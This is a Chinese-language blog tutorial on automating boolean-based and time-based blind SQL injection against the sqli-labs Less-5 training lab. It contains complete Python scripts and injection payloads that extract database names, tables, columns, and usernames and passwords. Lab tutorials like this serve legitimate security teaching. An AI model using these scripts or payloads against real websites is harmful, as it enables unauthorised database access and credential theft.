0x01:前言

前面涉及到时间盲注和布尔注入,手动始终效率太低,所以脚本的重要性就体现出来了。这里将会细致的对几种注入脚本进行编写和解释。

0x02: 基于布尔的盲注

基于布尔的盲注的核心便是:sql语句的对与错将返回不同的内容,因此这将是编写脚本的关键点。

我们以sqli-labs的less 5为例

首先,本关是最特点鲜明的布尔盲注

当我们输入正确的参数时,页面反馈为:

当我们输入会使查询返回false的语句时,返回为:

所以我们就可以根据关键字 "You are in……….."来判断我们的语句是否正确。

且返回false的时候为空,所以可以使用这段关键字的任意一段,比如只使用 are 这个关键字。

编写脚本:

首先声明编译器类型,在没有在执行程序时指出用什么程序运行py脚本时,系统会去调用python程序来执行。

#!/usr/bin/env python

由于我在windows环境下操作,所以不需要这一句。

文件编码类型改为UTF-8类型,未避免中文注释引起报错。

#coding:utf-8

调用requests模块

由于发送web请求,所以需要使用requests模块,此模块未python的第三方模块,需要额外安装。

import requests

预定义变量用以接收返回的值

sql = ""

构建嵌套循环

由于需要发送大量的请求和不同的payload,所以需要两层循环控制,一层负责控制发包次数,一层控制payload。

for i in range(1,100)
#range数组上限为100,也就是执行100次,由于这是第一层循环,所以控制的应该是要查询的字符
for j in range(33,127)
#range数组迭代33-127以内的数,用意为迭代ASCII码的所有可显字符。即33-126

构造url请求

由于每个阶段用的语句不同,所以需要多条语句

查询当前数据库的库名:
http://192.168.150.131/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1))=33 and '1'='1

在这句payload里,可变的变量有两个,一是substr遍历的参数,一个是用来比较ASCII码的参数。正好对应了i数组和j数组。

所以就可以将两个参数拼接到语句中:
http://192.168.150.131/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),"+str(i)+"+,1))="+str(j)+" and '1'='1

这里解释一下str()函数,由于python无需定义变量类型,所以如果直接拼接变量python会报错。

举例:我们有以下代码:
i=33
print "a"+i+"";

运行就会报错,因为python不知道这个i是33呢还是3和3,所以要使用str()函数,将其作为整体字符串处理。

i=33
print "a"+str(i)+"";

发送http请求

我们使用requests模块进行爬虫,requests.get(url),调用requests模块的get方法发送get请求,由于url为变量,所以更改为:

requests.get(url=url)

首个url为关键字。

匹配关键字

由于基于布尔的盲注需要页面返回关键字进行判断是否保留payload参数,所以使用if in 语句

if "are" in r.content:
#如果 "are" 这个字符存在r.content字典,则返回true,执行后面的语句。

r.content 全称为:requests.content,用于返回HTTP请求的二进制数据,然后经过编码反馈的便是web页面源码,这里不获取图片,所以可以使用r.text。

拼接正确参数

在经过循环和判断后,需要将一个一个的字符拼接起来组成最终结果。

sql+=chr(j)
#使用chr()函数返回十进制数对应的ASCII码并拼接到变量sql

输出一次结果,跳出一次循环体

print sql
break

完整代码:

#coding:utf-8
import requests
 sql=""
 for i in range(1,100):
     for j in range(33,127):
         url = "http://192.168.150.131/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),"+str(i)+",1))="+str(j)+" and '1'='1"
         r = requests.get(url=url)
         if "are" in r.content:
             sql+=chr(j)
             print sql
             break

接下来只需更换url即可。

查表:


url = "http://192.168.150.131/sqli-labs/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),"+str(i)+",1))="+str(j)+" and '1' = '1"

查字段:


url = "http://192.168.150.131/sqli-labs/Less-5/?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' ),"+str(i)+",1))="+str(j)+" and '1' = '1"

查数据:


url = "http://192.168.150.131/sqli-labs/Less-5/?id=1'and ascii(substr((select group_concat(username,password) from users),"+str(i)+",1))="+str(j)+" and '1' = '1"

最终代码:

#coding:utf-8
import requests
 sql=""
 for i in range(1,200):
     for j in range(33,127):
         url = "http://192.168.150.131/sqli-labs/Less-5/?id=1' and ascii(substr((select user()),"+str(i)+",1))="+str(j)+" and '1'='1"
         #url = "http://192.168.150.131/sqli-labs/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),"+str(i)+",1))="+str(j)+" and '1' = '1"
         #url = "http://192.168.150.131/sqli-labs/Less-5/?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' ),"+str(i)+",1))="+str(j)+" and '1' = '1"
         #url = "http://192.168.150.131/sqli-labs/Less-5/?id=1'and ascii(substr((select group_concat(username,password) from users),"+str(i)+",1))="+str(j)+" and '1' = '1"
         r = requests.get(url=url)
         if "are" in r.content:
             sql+=chr(j)
             print sql
             break

0x03: 基于延时的盲注

基于延时的盲注的核心便是:sql语句的对与错将对浏览器造成不同的延时,因此这将是编写脚本的关键点。

我们依旧以sqli-labs的less 5为例

首先本关是可以使用延时盲注和布尔盲注的。

我们测试是否可以使用延时注入:

可见sleep函数是可以发挥作用的。

那如何使用代码判断是否出现延时呢,这里我们使用异常来解决。

requests模块的get方法有一个参数为timeout

这个参数的作用为:如果服务器在 timeout 秒内没有应答,将会引发一个异常。

所以我们可以利用延时注入的特性和timeout参数进行编写脚本,只需将结果收集代码写入except模块即可。

编写脚本:

预定义变量用以接收返回的值

sql = ""

构建嵌套循环

由于需要发送大量的请求和不同的payload,所以需要两层循环控制,一层负责控制发包次数,一层控制payload。

for x in range(1,100)
#range数组上限为100,也就是执行100次,由于这是第一层循环,所以控制的应该是要查询的字符
    for y in range(33,127)
    #range数组迭代33-127以内的数,用意为迭代ASCII码的所有可显字符。即33-126

构造url请求

由于每个阶段用的语句不同,所以需要多条语句

查询当前数据库的库名:
http://192.168.150.131/sqli-labs/Less-5/?id=1' and if(((ascii(substr((select database()),1,1)))=33),sleep(2),false) and '1' = '1

在这句payload里,可变的变量有两个,一是substr遍历的参数,一个是用来比较ASCII码的参数。正好对应了i数组和j数组。

所以就可以将两个参数拼接到语句中,这里我们使用 print格式化输出进行拼接:
http://192.168.150.131/sqli-labs/Less-5/?id=1' and if(((ascii(substr((select database()),%d,1)))=%d),sleep(2),false) and '1' = '1

print 格式化输出:

%s,表示格式化一个对象为字符
%d,整数
%f ,浮点数
%r,一般用于debug

将x,y数组的值与格式化对应

url2 = url1%(x,y)

构造异常处理代码块:

         try:
             f = requests.get(url=urll,timeout=1.5)
         except:
             sql+=chr(y)
             print sql
             break

如果服务器在1.5秒内没有应答,则抛出一个异常,然后执行except中的代码,即将发生异常的字符拼接为查询结果。

完整代码:

#coding:utf-8

import requests

sql = ''
for x in range(1,100):
     for y in range(33,127):
         url1 = "http://192.168.150.131/sqli-labs/Less-5/?id=1' and if(((ascii(substr((select database()),%d,1)))=%d),sleep(2),false) and '1' = '1"
         url2 = url1%(x,y)
         try:
             f = requests.get(url=url2,timeout=1.5)
         except:
             sql+=chr(y)
             print sql
             break

接下来只需更换url即可。

查表:


url1 = "http://192.168.150.131/sqli-labs/Less-5/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))=%d,sleep(2),false) and '1' = '1"

查字段:


url1 = "http://192.168.150.131/sqli-labs/Less-5/?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security'),%d,1))=%d,sleep(2),false) and '1' = '1"

查数据:


url1 = "http://192.168.150.131/sqli-labs/Less-5/?id=1' and if(ascii(substr((select group_concat(username,password) from users),%d,1))=%d,sleep(2),false) and '1' = '1"

最终代码:

#coding:utf-8

import requests

sql = ''
for x in range(1,100):
     for y in range(33,127):
         #url1 = "http://192.168.150.131/sqli-labs/Less-5/?id=1' and if(((ascii(substr((select database()),%d,1)))=%d),sleep(2),false) and '1' = '1"
         #url1 = "http://192.168.150.131/sqli-labs/Less-5/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))=%d,sleep(2),false) and '1' = '1"
         #url1 = "http://192.168.150.131/sqli-labs/Less-5/?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security'),%d,1))=%d,sleep(2),false) and '1' = '1"
         url1 = "http://192.168.150.131/sqli-labs/Less-5/?id=1' and if(ascii(substr((select group_concat(username,password) from users),%d,1))=%d,sleep(2),false) and '1' = '1"
         url2 = url1%(x,y)
         try:
             f = requests.get(url=url2,timeout=1.5)
         except:
             sql+=chr(y)
             print sql
             break

0x04: 结语

代码结构和功能都比较简单,仅实现了代替人工进行注入。并未对其进行优化,比如可以使用二分法对其进行快速注入等。这里不多做赘述,或许想写的时候会写一下。

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注